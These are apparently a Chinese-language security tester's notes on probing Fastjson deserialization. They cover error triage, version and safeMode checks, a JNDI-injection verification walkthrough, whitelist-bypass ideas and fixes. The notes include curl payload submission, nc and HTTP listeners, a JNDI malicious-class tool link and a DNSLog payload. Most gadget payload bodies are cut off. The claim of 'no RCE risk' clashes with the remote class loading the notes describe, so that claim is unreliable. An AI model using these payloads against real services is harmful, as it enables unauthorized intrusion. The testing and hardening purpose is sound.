fastjson反序列化分析
0-前言
记录fastjson的漏洞的测试心得,更为详细的可以参考大佬的安全笔记Java Web安全
第一步看报错类型。
构建报错类查看报错:{@type:xxx.class,val:xxx.String}等json;
如果是 type not match,通常是顶层类型和接口期望类型不一致;如果是 autoType is not support,说明已经进了 Fastjson 的类型安全检查;如果返回的是业务提示,比如“请输入id”,说明对象已经成功落到业务层。这个区分对定位问题非常关键。你前面的日志已经足够证明:业务类可反序列化,危险类被拦截。
第二步看版本与配置。
优先从代码依赖、jar 文件名、启动参数、fastjson.properties、异常堆栈里确认版本和是否启用了 safeMode。Fastjson 官方文档明确给了三种开启 safeMode 的方式,且 safeMode 打开后会完全禁用 autoType。Fastjson 2.x 则是默认禁用 autoType、以更安全的方式设计。
第三步看“是否存在 AutoType”。
不是只看能不能写 @type,而是看它能不能把类型落到你控制的类上。你这里 GetxxxParam 能进业务层,说明接口的对象绑定链路存在;但 BasicDataSource 被拒,说明高危类型没过安全门槛。
第四步看是否“可绕过”。
可以直接按版本和官方公告判断:1.2.83 之前存在被修复的绕过问题,1.2.68 起有 safeMode;如果目标已经开了 safeMode,autoType 会被完全关闭。
第五步,不能绕过时就做业务类审计。
没有历史漏洞则真正能做的部分:反编译 GetxxxParam(对应的业务类),看 setter、构造函数、字段类型、后续 controller/service 是否会继续调用它的方法。Fastjson 官方也提供了 AutoTypeCheckHandler 这类扩展点,说明很多场景最终要回到应用自己的类型与业务逻辑上看。
Fastjson 1.2.80 反序列化漏洞分析
漏洞原理
Fastjson 在反序列化时,攻击者通过构造特殊的 JSON 字符串,利用特定类(如 JdbcRowSetImpl)的 setAutoCommit 方法触发 JNDI 注入。当目标解析恶意 JSON 时,会向攻击者控制的 JNDI 服务器发起请求,加载远程恶意类,最终导致 RCE(远程代码执行)。1.2.83 版本虽修复了部分漏洞,但在未开启 safeMode 且存在可利用依赖时仍可能被攻击。
漏洞复现条件
- Fastjson < 1.2.83
- 目标环境中存在
com.sun.rowset.JdbcRowSetImpl类(通常存在于 JDK 或 Tomcat 中) - 目标未配置安全白名单或开启
safeMode
漏洞验证步骤(仅访问 HTTP 服务)
1. 准备 Payload
以下 Payload 会让目标服务器尝试连接 :
1 | #尝试访问内网 |
原理:
当 Fastjson 解析 autoCommit 属性时,会调用 setAutoCommit(true) → 触发 JNDI 查找 → 访问 dataSourceName 中的地址。
使用工具jndi_tool.jar部署恶意类;工具链接:https://github.com/wyzxxz/jndi_tool
1 | { |
2. 启动 HTTP 监听服务
在 192.168.1.12 上执行:
1 | python3 -m http.server 8000 |
或使用 nc 监听:
1 | nc -lvnp 8000 |
3. 发送 Payload 到目标
将 Payload 作为 POST 数据发送到目标 Fastjson 接口(如 /json):
1 | curl -X POST http://<TARGET_IP>:<PORT>/api -H "Content-Type: application/json" -d '{ |
4. 验证漏洞
若在
192.168.1.12:8000的 HTTP 服务收到 GET 请求(路径/Exploit),证明漏洞存在。示例日志:
1
192.168.X.X - - [TIMESTAMP] "GET /Exploit HTTP/1.1" 404 -
注意事项
依赖要求:
目标需存在JdbcRowSetImpl类(通常满足),若返回Class not found则说明环境缺失依赖。网络可达:
确保目标服务器能访问192.168.1.12:8000(检查防火墙/路由)。安全模式:
若目标开启safeMode(禁用autoType),Payload 将失效:1
ParserConfig.getGlobalInstance().setSafeMode(true); // 免疫漏洞
无 RCE 风险:
此 Payload 仅触发 HTTP 请求,不会执行任意代码,符合安全测试要求。
补充说明
- 更高版本影响:Fastjson ≥1.2.84 默认关闭 autoType,需手动开启白名单。
- 修复建议:
- 升级
Fastjson至最新版 - 启用
safeMode - 配置
autoType白名单
- 升级
以上方法仅用于安全测试,请遵守法律法规。确认漏洞后请及时修复。
Fastjson 1.2.80 反序列化漏洞详细分析(含白名单场景)
报错分析
若存在报错 org.springframework.http.converter.HttpMessageNotReadableException 表明:
- Spring MVC 正在处理请求,且使用了内置的 HTTP 消息转换器
- 请求体解析失败,可能是 Fastjson 在处理恶意 payload 时抛出的异常
- 环境包含 Spring/MyBatis 可能扩展了攻击面
白名单配置检查
当存在以下配置时,Fastjson 可能允许特定类被反序列化(绕过防护):
1. 显式白名单配置
1 | // 危险的白名单配置示例 |
2. AutoType 白名单
1 | // 启用 AutoType 并添加白名单 |
3. 特定注解使用
1 |
|
针对环境的增强 Payload
结合 Spring + MyBatis 环境,以下 payload 可能更有效(目标:触发对 192.168.1.12:8000 的访问):
方案 1:MyBatis SQL 驱动类利用
1 | { |
方案 2:Spring JNDI 扩展
1 | { |
方案 3:Tomcat JDBC 池利用
1 | { |
漏洞验证步骤
1. 启动 HTTP 监控
在 192.168.1.12 执行:
1 | # Python 3 (记录完整请求) |
2. 发送恶意请求
1 | curl -X POST http://VICTIM_IP:PORT/vuln-endpoint \ |
3. 验证成功标志
在 HTTP 服务器查看访问日志:
1 | GET /FastjsonPoc - 来自目标 IP 的请求 |
白名单绕过技巧
若目标配置了白名单,尝试这些变体:
1. 类名混淆
1 | { |
2. 嵌套白名单类
1 | { |
3. MyBatis 别名利用
1 | { |
防护检测建议
检查 AutoType 状态:
1
2// 返回 true 表示危险
ParserConfig.getGlobalInstance().isAutoTypeSupport();列出所有白名单:
1
ParserConfig.getGlobalInstance().getAcceptList()
安全配置示例:
1
2// 最佳安全实践
ParserConfig.getGlobalInstance().setSafeMode(true);
结果分析矩阵
| 观察现象 | 漏洞可能性 | 建议行动 |
|---|---|---|
| HTTP 服务器收到 GET 请求 | ✅ 确认存在 | 立即修复 |
返回 Class not found 错误 |
⚠️ 可能存在 | 尝试其他 gadget 类 |
返回 autoType not support 错误 |
🛡️ 可能已防护 | 检查安全配置 |
| 连接超时 | 不确定 | 检查网络策略/防火墙 |
持续抛出 HttpMessageNotReadable |
⚠️ 高可能性 | 分析完整异常栈 |
即使未观察到直接请求,
HttpMessageNotReadableException异常本身可能已表明 payload 触发了非预期行为,建议结合日志深度分析。注意:
如下是进行dnslog,即便collaborator有反应也不能说明存在RCE,只能说明存在dns解析
1 | {"data":{"@type":"java.net.Inet4Address","val":"xxxxxxxxxcollaboratorxxxxxxxxxx.com"}} |